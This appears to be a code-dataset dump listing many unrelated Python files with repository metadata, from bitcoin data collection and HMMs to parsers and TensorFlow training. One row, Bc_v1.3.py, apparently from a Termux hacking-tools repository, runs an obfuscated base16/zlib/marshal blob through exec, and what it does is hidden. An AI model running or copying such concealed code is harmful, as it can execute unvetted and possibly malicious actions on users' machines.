3f4bdf257b00774de306cd4cd1318535fddcf096 | 983 | py | Python | 0-newbooks/bitcoin_prediction/Continuous_Stream_Data.py | gopala-kr/ds-notebooks | bc35430ecdd851f2ceab8f2437eec4d77cb59423 | [
"MIT"
] | 1 | 2019-05-10T09:16:23.000Z | 2019-05-10T09:16:23.000Z | 0-newbooks/bitcoin_prediction/Continuous_Stream_Data.py | gopala-kr/ds-notebooks | bc35430ecdd851f2ceab8f2437eec4d77cb59423 | [
"MIT"
] | null | null | null | 0-newbooks/bitcoin_prediction/Continuous_Stream_Data.py | gopala-kr/ds-notebooks | bc35430ecdd851f2ceab8f2437eec4d77cb59423 | [
"MIT"
] | 1 | 2019-05-10T09:17:28.000Z | 2019-05-10T09:17:28.000Z |
# coding: utf-8
# In[1]:
import requests
import time
import datetime
f_name = input("dataset name:")
f = open(f_name,"a")
keys = ["price_usd","24h_volume_usd","market_cap_usd","available_supply","total_supply","percent_change_1h","percent_change_24h","percent_change_7d"]
vals = [0]*len(keys)
while True:
data ... | 28.911765 | 149 | 0.603255 |
e19bd31343f37b2966bdb0c47265c5ac55a811ad | 165 | py | Python | python/decorator/decorating_with_arguments.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/decorator/decorating_with_arguments.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/decorator/decorating_with_arguments.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | def say(func):
def wrapper(*args, **kwargs):
func(*args, **kwargs)
return wrapper
@say
def greet(name):
print(f'Hello {name}')
greet('jayone') | 15 | 33 | 0.593939 |
3635b4277aea4600d8369081fd3951402b2dfba9 | 1,271 | py | Python | tikz/extended-euclidean-algorithm-runtime/eea.py | RalfGuder/LaTeX-examples | a1bf9fe422969be1ca4674394ebd2170c07f7693 | [
"MIT"
] | 1,231 | 2015-01-07T04:04:25.000Z | 2022-03-31T17:43:29.000Z | tikz/extended-euclidean-algorithm-runtime/eea.py | DoubleL61/LaTeX-examples | cd0d97f85fadb59b7c6e9062b37a8bf7d725ba0c | [
"MIT"
] | 5 | 2015-05-10T13:10:47.000Z | 2021-05-02T21:28:49.000Z | tikz/extended-euclidean-algorithm-runtime/eea.py | DoubleL61/LaTeX-examples | cd0d97f85fadb59b7c6e9062b37a8bf7d725ba0c | [
"MIT"
] | 400 | 2015-01-05T06:22:18.000Z | 2022-03-19T04:07:59.000Z | #!/usr/bin/env python
import csv
def eea(a, b):
"""
Calculates u*a + v*b = ggT
returns (ggT, u, v, steps)
"""
u, v, s, t, steps = 1, 0, 0, 1, 0
while b > 0:
q = a//b
a, b = b, a-q*b
u, s = s, u-q*s
v, t = t, v-q*t
steps += 1
return a, u, v, steps
... | 29.55814 | 74 | 0.524784 |
36510da603af2c925fae97e397793aa63579a59a | 3,455 | py | Python | skimind/kernel/learningModels/trainModel.py | NathBangwa/SkimindFoot | 8ae3a00074c56dd981fbfdab30e29898ddcaf6be | [
"MIT"
] | 1 | 2020-11-13T18:30:47.000Z | 2020-11-13T18:30:47.000Z | skimind/kernel/learningModels/trainModel.py | nathanbangwa243/SkimindFoot | 8ae3a00074c56dd981fbfdab30e29898ddcaf6be | [
"MIT"
] | 5 | 2020-11-13T18:16:48.000Z | 2021-09-08T01:04:59.000Z | skimind/kernel/learningModels/trainModel.py | nathanbangwa243/SkimindFoot | 8ae3a00074c56dd981fbfdab30e29898ddcaf6be | [
"MIT"
] | null | null | null | #-*-coding: utf-8 -*-
# config
from . import config
# skimind.config
from .config import skiconfig
# preprocessing
from . import preprocessing
# tools
import tensorflow as tf
import pandas as pd
# system tools
import os
# train and prediction function (generator)
from . import trainEval
# interfacedb
from . impo... | 31.697248 | 123 | 0.511722 |
36b551f12f78db329c4074698d911377011b9394 | 221 | py | Python | Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-005/pg-5.2-squar-turtle.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-005/pg-5.2-squar-turtle.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-005/pg-5.2-squar-turtle.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | import turtle
turtle.shape("turtle")
turtle.speed(2)
turtle.forward(100)
turtle.left(90)
turtle.forward(100)
turtle.left(90)
turtle.forward(100)
turtle.left(90)
turtle.forward(100)
turtle.left(90)
turtle.exitonclick()
| 13.8125 | 22 | 0.769231 |
18626e449cdf8bfe3bea0a8c4b548385e6bba69e | 1,095 | py | Python | Bc_v1.3.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-17T03:35:03.000Z | 2021-12-08T06:00:31.000Z | Bc_v1.3.py | Bangsat-XD/GARANGAN | ba8a082335036ce5ed9388c0f185b69b39df73c8 | [
"Apache-2.0"
] | null | null | null | Bc_v1.3.py | Bangsat-XD/GARANGAN | ba8a082335036ce5ed9388c0f185b69b39df73c8 | [
"Apache-2.0"
] | 2 | 2021-11-05T18:07:48.000Z | 2022-02-24T21:25:07.000Z | import marshal, zlib, base64
runfile = base64.b16decode
runfiIe = zlib.decompress
runflie = marshal.loads
exec(runflie(runfiIe(runfile("789C5D52B96E1B3110DD95655D5FE032AD3B1EC3D921601821874B2045D20448B19DE4651009AB28906020489BAF49930FDA36957F2155666D57E1604E0EE678E49FEABF732DFC56F81245F4555F0F55F7A2EBAE7ED6B36E566687AB... | 219 | 989 | 0.971689 |
a10ac70f8a9c9d5a42a15315af3f6351c98677a6 | 2,563 | py | Python | zencad/geom/transformable.py | Spiritdude/zencad | 4e63b1a6306dd235f4daa2791b10249f7546c95b | [
"MIT"
] | 5 | 2018-04-11T14:11:40.000Z | 2018-09-12T19:03:36.000Z | zencad/geom/transformable.py | Spiritdude/zencad | 4e63b1a6306dd235f4daa2791b10249f7546c95b | [
"MIT"
] | null | null | null | zencad/geom/transformable.py | Spiritdude/zencad | 4e63b1a6306dd235f4daa2791b10249f7546c95b | [
"MIT"
] | null | null | null | import zencad.geom.trans as trans
import zencad.geom.general_transformation as general_transformation
class Transformable:
def move(self, *args): return trans.move(*args)(self)
def moveX(self, *args): return trans.moveX(*args)(self)
def moveY(self, *args): return trans.moveY(*args)(self)
def moveZ(sel... | 51.26 | 78 | 0.691377 |
b8050fab624dda7ed6d8b8f36641b20e3e8def25 | 1,310 | py | Python | setsolver/set_finder.py | vidagy/setsolver | 1d69dc33768ddb5b2110b6321106947de87cb7ac | [
"Apache-2.0"
] | null | null | null | setsolver/set_finder.py | vidagy/setsolver | 1d69dc33768ddb5b2110b6321106947de87cb7ac | [
"Apache-2.0"
] | null | null | null | setsolver/set_finder.py | vidagy/setsolver | 1d69dc33768ddb5b2110b6321106947de87cb7ac | [
"Apache-2.0"
] | null | null | null | from itertools import combinations
from typing import List, TypeVar
from setsolver.board import Board
from setsolver.card import Card, GameSet
def find_all_sets(board: Board) -> List[GameSet]:
"""
Returns the list of all Sets on the Board.
"""
sets: List[GameSet] = []
for cards in combinations(bo... | 26.2 | 69 | 0.647328 |
3da3a6da97f5602e4eb32ba8a2a4e5815750d220 | 384 | py | Python | Problems/Two Pointers/easy/ReverseOnlyLetters/test_reverse_only_letters.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | 1 | 2021-08-16T14:52:05.000Z | 2021-08-16T14:52:05.000Z | Problems/Two Pointers/easy/ReverseOnlyLetters/test_reverse_only_letters.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | Problems/Two Pointers/easy/ReverseOnlyLetters/test_reverse_only_letters.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | from unittest import TestCase
from reverse_only_letters import reverseOnlyLetters
class TestCase(TestCase):
def test_reverse_only_letters(self):
self.assertEqual(reverseOnlyLetters("ab-cd"), "dc-ba")
self.assertEqual(reverseOnlyLetters("a-bC-dEf-ghIj"), "j-Ih-gfE-dCba")
self.assertEqual(rev... | 48 | 92 | 0.744792 |
3db5e945888450967738ca6509ff7dc936257541 | 6,258 | py | Python | research/cv/centernet_resnet50_v1/src/resnet50.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/centernet_resnet50_v1/src/resnet50.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/centernet_resnet50_v1/src/resnet50.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 33.111111 | 109 | 0.5938 |
b12058c0870e8742da46bf0217686c5f017f23d9 | 6,848 | py | Python | tests/common_test.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | tests/common_test.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | tests/common_test.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 38.689266 | 98 | 0.52132 |
b15899debcd540131c25dffcc53f866772f861c9 | 601 | py | Python | cje/__init__.py | East196/hello-py | a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21 | [
"Apache-2.0"
] | 1 | 2017-10-23T14:58:47.000Z | 2017-10-23T14:58:47.000Z | cje/__init__.py | East196/hello-py | a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21 | [
"Apache-2.0"
] | null | null | null | cje/__init__.py | East196/hello-py | a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21 | [
"Apache-2.0"
] | 1 | 2018-04-06T07:49:18.000Z | 2018-04-06T07:49:18.000Z | # -*- coding: utf-8 -*-
import configparser
import json
import urllib.request, urllib.error, urllib.parse
from bs4 import BeautifulSoup
def del_id(record):
del record['_id']
return record
def test_del_id():
record = {"_id": 123, "name": "east196"}
assert {"name": "east196"} == del_id(record)
def g... | 20.724138 | 49 | 0.680532 |
b1a16995a4189a3bb6e647c7b2868b76bd60f33c | 1,428 | py | Python | andinopy/__init__.py | andino-systems/andinopy | 28fc09fbdd67dd690b9b3f80f03a05c342c777e1 | [
"Apache-2.0"
] | null | null | null | andinopy/__init__.py | andino-systems/andinopy | 28fc09fbdd67dd690b9b3f80f03a05c342c777e1 | [
"Apache-2.0"
] | null | null | null | andinopy/__init__.py | andino-systems/andinopy | 28fc09fbdd67dd690b9b3f80f03a05c342c777e1 | [
"Apache-2.0"
] | null | null | null | # _ _ _
# / \ _ __ __| (_)_ __ ___ _ __ _ _
# / _ \ | '_ \ / _` | | '_ \ / _ \| '_ \| | | |
# / ___ \| | | | (_| | | | | | (_) | |_) | |_| |
# /_/ \_\_| |_|\__,_|_|_| |_|\___/| .__/ \__, |
# |_| |___/
# by Jakob Groß
import configparser... | 29.75 | 79 | 0.606443 |
b8cd5328b96624162b6794735511d16c76e22f12 | 368 | py | Python | foundation/erpnext_foundation/doctype/conference_participant/conference_participant.py | shreyashah115/foundation | 42f19d23cfda77bae533f4884aecc15b3cd07f14 | [
"MIT"
] | null | null | null | foundation/erpnext_foundation/doctype/conference_participant/conference_participant.py | shreyashah115/foundation | 42f19d23cfda77bae533f4884aecc15b3cd07f14 | [
"MIT"
] | null | null | null | foundation/erpnext_foundation/doctype/conference_participant/conference_participant.py | shreyashah115/foundation | 42f19d23cfda77bae533f4884aecc15b3cd07f14 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright (c) 2017, EOSSF and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
class ConferenceParticipant(Document):
def on_payment_authorized(self, status_changed_to=None):
sel... | 28.307692 | 57 | 0.790761 |
6561f61616c86ed5d415b542ebc08060eac86585 | 1,768 | py | Python | official_examples/Using_Spark_MLlib_to_Create_a_Precise_Recommendation_Application/code/customize_service.py | hellfire0831/ModelArts-Lab | 3e826a5b388244c0588b7bb916184750997ab272 | [
"Apache-2.0"
] | 1,045 | 2019-05-09T02:50:43.000Z | 2022-03-31T06:22:11.000Z | official_examples/Using_Spark_MLlib_to_Create_a_Precise_Recommendation_Application/code/customize_service.py | hellfire0831/ModelArts-Lab | 3e826a5b388244c0588b7bb916184750997ab272 | [
"Apache-2.0"
] | 1,468 | 2019-05-16T00:48:18.000Z | 2022-03-08T04:12:44.000Z | official_examples/Using_Spark_MLlib_to_Create_a_Precise_Recommendation_Application/code/customize_service.py | hellfire0831/ModelArts-Lab | 3e826a5b388244c0588b7bb916184750997ab272 | [
"Apache-2.0"
] | 1,077 | 2019-05-09T02:50:53.000Z | 2022-03-27T11:05:32.000Z | # coding:utf-8
import collections
import json
import traceback
import model_service.log as log
from model_service.spark_model_service import SparkServingBaseService
from pyspark.mllib.recommendation import MatrixFactorizationModel
logger = log.getLogger(__name__)
class user_Service(SparkServingBaseService):
# r... | 32.740741 | 91 | 0.63405 |
658ccceceb97e0bc41b41b85df22a86139263d01 | 3,967 | py | Python | .github/workflows/updateprojects.py | openmainframeproject/tsc | 2f193b0e1bceac16852c0a965dc9f6d1ba54b10a | [
"Apache-2.0"
] | 42 | 2017-11-20T22:20:21.000Z | 2019-09-12T05:36:28.000Z | .github/workflows/updateprojects.py | openmainframeproject/tsc | 2f193b0e1bceac16852c0a965dc9f6d1ba54b10a | [
"Apache-2.0"
] | 22 | 2017-11-17T19:46:02.000Z | 2019-10-10T20:56:18.000Z | .github/workflows/updateprojects.py | openmainframeproject/tsc | 2f193b0e1bceac16852c0a965dc9f6d1ba54b10a | [
"Apache-2.0"
] | 34 | 2017-11-22T05:51:19.000Z | 2019-08-20T12:28:27.000Z | #!/usr/bin/env python3
#
# Copyright this project and it's contributors ... | 70.839286 | 179 | 0.571465 |
b86c53b79a5f4aa0457eb63537606787a72d4c04 | 6,766 | py | Python | python/bc/linkcheck.py | mpsonntag/snippets | fc3cc42ea49b885c1f29c0aef1379055a931a978 | [
"BSD-3-Clause"
] | null | null | null | python/bc/linkcheck.py | mpsonntag/snippets | fc3cc42ea49b885c1f29c0aef1379055a931a978 | [
"BSD-3-Clause"
] | null | null | null | python/bc/linkcheck.py | mpsonntag/snippets | fc3cc42ea49b885c1f29c0aef1379055a931a978 | [
"BSD-3-Clause"
] | null | null | null | """
Check all provided links from a poster gallery json file
for non http.StatusOK codes.
"""
import argparse
import json
import urllib.error
from typing import Dict, List
from urllib.request import Request, urlopen
def handle_link_item(item: Dict[str, str], item_key: str) -> str:
"""
Checks whether the item... | 34.171717 | 90 | 0.615873 |
b24c637d2588913337989ec14a31acda86abcab6 | 2,795 | py | Python | packages/watchmen-storage-mssql/src/watchmen_storage_mssql/data_source_mssql.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-storage-mssql/src/watchmen_storage_mssql/data_source_mssql.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-storage-mssql/src/watchmen_storage_mssql/data_source_mssql.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | from typing import List, Optional
from sqlalchemy import create_engine
from sqlalchemy.engine import Engine
from watchmen_model.common import DataModel
from watchmen_model.system import DataSource, DataSourceParam
from watchmen_storage import DataSourceHelper
from watchmen_utilities import is_not_blank, serialize_to_... | 30.053763 | 106 | 0.763148 |
a787c68842602ec728c9adbc93e2172a9ad90902 | 3,604 | py | Python | utils.py | jayChung0302/SideProject-sudalchongbo | fb0a3d0aee53ba24d3b8ec2dd8c52d0e8f6c33d7 | [
"MIT"
] | 1 | 2021-03-22T12:14:30.000Z | 2021-03-22T12:14:30.000Z | utils.py | jayChung0302/SideProject-sudalchongbo | fb0a3d0aee53ba24d3b8ec2dd8c52d0e8f6c33d7 | [
"MIT"
] | null | null | null | utils.py | jayChung0302/SideProject-sudalchongbo | fb0a3d0aee53ba24d3b8ec2dd8c52d0e8f6c33d7 | [
"MIT"
] | null | null | null | import torch
from torch.nn.modules.normalization import GroupNorm
import torchvision.transforms as transforms
import cv2
import numpy as np
mean = np.array([0.485, 0.456, 0.406])
std = np.array([0.229, 0.224, 0.225])
preprocess = transforms.Compose(
[transforms.ToTensor(),
transforms.Normalize(mean, std),
... | 31.893805 | 94 | 0.635683 |
a7cb9c7904d75ddc36d671ff5b8f583cc74edede | 1,975 | py | Python | DiceCTF/2021/crypto/signature-sheep-scheming-signature-schemes/lwe.py | mystickev/ctf-archives | 89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e | [
"MIT"
] | 1 | 2021-11-02T20:53:58.000Z | 2021-11-02T20:53:58.000Z | DiceCTF/2021/crypto/signature-sheep-scheming-signature-schemes/lwe.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | DiceCTF/2021/crypto/signature-sheep-scheming-signature-schemes/lwe.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | 1 | 2021-12-19T11:06:24.000Z | 2021-12-19T11:06:24.000Z | import numpy as np
from random import SystemRandom
from shake import ShakeRandom
from Crypto.Hash import SHAKE128
system = SystemRandom()
n = 640
q = 1 << 16
sigma = 2.8
bound = 6000
def pack(*values):
data = bytes()
for x in values:
data += x.tobytes()
return data
def unpack(data, width=1):
for i in range(0,... | 23.235294 | 75 | 0.662278 |
a7d710c1fb4bc4967ea6b222be815d5e11c57792 | 504 | py | Python | INBa/2015/KURCHATOV_N_V/z3_11.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | INBa/2015/KURCHATOV_N_V/z3_11.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | INBa/2015/KURCHATOV_N_V/z3_11.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | # Задача 3. Вариант 11
# Напишите программу, которая выводит имя "Анна Андреевна Горенко", и запрашивает его псевдоним. Программа должна сцеплять две эти строки и выводить полученную строку, разделяя имя и псевдоним с помощью тире.
# Курчатов Н.В
# 14.03.2016
name=" Анна Андреевна Горенко"
print("Герой нашей сегодняшне... | 45.818182 | 208 | 0.767857 |
f00dafcf5714d9d08477a3e8fcb5c270dcd1ecd4 | 12,686 | py | Python | Common_Algorithms/HMM/hmm.py | xrick/WolfNLP | ff59be5a180813e7127c7eaf52db2478c20e8431 | [
"MIT"
] | null | null | null | Common_Algorithms/HMM/hmm.py | xrick/WolfNLP | ff59be5a180813e7127c7eaf52db2478c20e8431 | [
"MIT"
] | null | null | null | Common_Algorithms/HMM/hmm.py | xrick/WolfNLP | ff59be5a180813e7127c7eaf52db2478c20e8431 | [
"MIT"
] | null | null | null | # -*- coding:utf-8 -*-
# 隐马尔科夫链模型
# By tostq <tostq216@163.com>
# 博客: blog.csdn.net/tostq
import numpy as np
from math import pi,sqrt,exp,pow,log
from numpy.linalg import det, inv
from abc import ABCMeta, abstractmethod
from sklearn import cluster
class _BaseHMM():
"""
基本HMM虚类,需要重写关于发射概率的相关虚函数
n_state : 隐藏... | 35.238889 | 115 | 0.551789 |
f04953aaab4fc47630f287b8fc7e7d12f1c64215 | 741 | py | Python | BITs/2014/Kozlov_A_D/task_6_11.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | BITs/2014/Kozlov_A_D/task_6_11.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | BITs/2014/Kozlov_A_D/task_6_11.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | #Задача 6. Вариант 11.
#Создайте игру, в которой компьютер загадывает название одного из девяти действующих вокзалов Москвы, а игрок должен его угадать.
#Козлов А.Д.
#27.03.2016
import random
print("Программа случайным образом загадывает название одного из вокзалов Москвы, Ваша задача угадать, что же загадала пр... | 43.588235 | 134 | 0.744939 |
68516442f2b799c32f998036013933827a035ffd | 3,079 | py | Python | official/cv/ADNet/create_plots.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | official/cv/ADNet/create_plots.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | official/cv/ADNet/create_plots.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 34.988636 | 114 | 0.705749 |
688c09ecea5b51130a7b2a48c5d451394c1af96d | 6,269 | py | Python | app/handlers/handler.py | marwanad/music_bot | c7a9c704f510d455fc6d1d7c057d5cfa31dcd7cf | [
"MIT"
] | 1 | 2020-12-07T13:30:59.000Z | 2020-12-07T13:30:59.000Z | app/handlers/handler.py | marwanad/music_bot | c7a9c704f510d455fc6d1d7c057d5cfa31dcd7cf | [
"MIT"
] | null | null | null | app/handlers/handler.py | marwanad/music_bot | c7a9c704f510d455fc6d1d7c057d5cfa31dcd7cf | [
"MIT"
] | null | null | null | import random
import util
from app.xlib.responder import Responder
from app.xlib.states import StateType
from app.xlib.sr_strings import srs
from app.xlib.states import StateString
from ..main import music
from .. import db
from ..decorators import check_state
import json
class Handler(object):
@staticmethod
... | 38.697531 | 127 | 0.633594 |
9bd308e660b70e8dcd0ef69642e73cd41b456a19 | 579 | py | Python | profil/migrations/0008_auto_20180618_0147.py | AndiBr/ffksk | ff4bc4ad26d4571eaa1a6ff815b2e6a876f8ba99 | [
"MIT"
] | null | null | null | profil/migrations/0008_auto_20180618_0147.py | AndiBr/ffksk | ff4bc4ad26d4571eaa1a6ff815b2e6a876f8ba99 | [
"MIT"
] | 14 | 2018-09-12T06:59:55.000Z | 2020-02-26T07:17:48.000Z | profil/migrations/0008_auto_20180618_0147.py | AndiBr/ffksk | ff4bc4ad26d4571eaa1a6ff815b2e6a876f8ba99 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2018-06-17 23:47
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('profil', '0007_kioskuser_activity_end_msg'),
]
operations = [
migrations.Remo... | 23.16 | 54 | 0.606218 |
504da968a3cb3fa89f078211d10c083a0b3864d2 | 10,300 | py | Python | rdlcompiler/systemrdl/rdl_parser.py | MegabytePhreak/rdl | b97912751738da9fddb42a9155f5823716809fc0 | [
"MIT"
] | 4 | 2016-05-10T20:40:34.000Z | 2020-04-09T13:23:33.000Z | rdlcompiler/systemrdl/rdl_parser.py | MegabytePhreak/rdl | b97912751738da9fddb42a9155f5823716809fc0 | [
"MIT"
] | null | null | null | rdlcompiler/systemrdl/rdl_parser.py | MegabytePhreak/rdl | b97912751738da9fddb42a9155f5823716809fc0 | [
"MIT"
] | null | null | null | __author__ = 'megabytephreak'
from rdl_lexer import RdlLexer, RdlToken
from ply import yacc
from ply.lex import LexToken
import rdl_ast
from rdlcompiler.colorize import colorize, RED
from rdlcompiler.logger import logger
def make_list_prod(prod, tprod):
def rule(self, p):
if len(p) == 3:
p[0... | 29.014085 | 114 | 0.492136 |
4a132a12f3ef5c06f148afe7df0c4e323db0979a | 1,079 | py | Python | source/pkgsrc/games/unknown-horizons/patches/patch-setup.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-11-20T22:46:39.000Z | 2021-11-20T22:46:39.000Z | source/pkgsrc/games/unknown-horizons/patches/patch-setup.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | source/pkgsrc/games/unknown-horizons/patches/patch-setup.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | $NetBSD: patch-setup.py,v 1.2 2021/03/09 09:39:11 nia Exp $
- On NetBSD platform.dist() is not defined. Always install to
the same binary directory anyway, for consistency.
- Install man pages to PKGMANDIR.
--- setup.py.orig 2019-01-12 15:15:42.000000000 +0000
+++ setup.py
@@ -39,10 +39,7 @@ from horizons.ext impor... | 35.966667 | 86 | 0.681186 |
4f4534b0552d46e9cc4154dbc1fa086e4a8efa60 | 105 | py | Python | tex-table-generator/Doku table_py/pyCode/Beispiel2.py | DimensionalScoop/kautschuk | 90403f97cd60b9716cb6a06668196891d5d96578 | [
"MIT"
] | 3 | 2016-04-27T17:07:00.000Z | 2022-02-02T15:43:15.000Z | tex-table-generator/Doku table_py/pyCode/Beispiel2.py | DimensionalScoop/kautschuk | 90403f97cd60b9716cb6a06668196891d5d96578 | [
"MIT"
] | 5 | 2016-04-27T17:10:03.000Z | 2017-06-20T14:54:20.000Z | tex-table-generator/Doku table_py/pyCode/Beispiel2.py | DimensionalScoop/kautschuk | 90403f97cd60b9716cb6a06668196891d5d96578 | [
"MIT"
] | null | null | null | write('build/Tabelle_b.tex', make_table(
[Wert_b, C2*1e9, R2, R34, Rx, Cx*1e9], [0, 1, 1, 1, 1, 1]))
| 35 | 63 | 0.580952 |
8cfb91dd62a85a310a520fa8bdf3c7451dd0b5f3 | 446 | py | Python | IVTp/2014/Karamyan/Karamyan 2_8.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | IVTp/2014/Karamyan/Karamyan 2_8.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | IVTp/2014/Karamyan/Karamyan 2_8.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | # Задача 2, Вариант 8 (без автора)
# Напишите программу, которая будет выводить на экран наиболее понравившееся вам высказывание, автором которого является Лао-Цзы. Не забудьте о том, что автор должен быть упомянут на отдельной строке.
# Карамян Н.Г.
# 29.02.2016
input ('Жмакни Enter, чтобы обрести истину!')
p... | 40.545455 | 201 | 0.746637 |
50cc4cf2eb0e17b95c8e8ce44f7e5acd606d229a | 245 | py | Python | setup.py | jibonaronno/RP2040AudioRecord | c31824129d8b603ae2662bbba5bcc63d1213556b | [
"CC0-1.0"
] | null | null | null | setup.py | jibonaronno/RP2040AudioRecord | c31824129d8b603ae2662bbba5bcc63d1213556b | [
"CC0-1.0"
] | null | null | null | setup.py | jibonaronno/RP2040AudioRecord | c31824129d8b603ae2662bbba5bcc63d1213556b | [
"CC0-1.0"
] | null | null | null | from setuptools import setup
setup(
name='Flowmeter',
version='0.9',
packages=[''],
url='www.portaldevex.com',
license='',
author='jibon',
author_email='tebunia@gmail.com',
description='picopower technologies'
)
| 18.846154 | 40 | 0.640816 |
0f9cad399bebc9f4dc82fba393f573a928d8f4c4 | 29,280 | py | Python | botfb-main/run.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-17T03:35:03.000Z | 2021-12-08T06:00:31.000Z | botfb-main/run.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | null | null | null | botfb-main/run.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
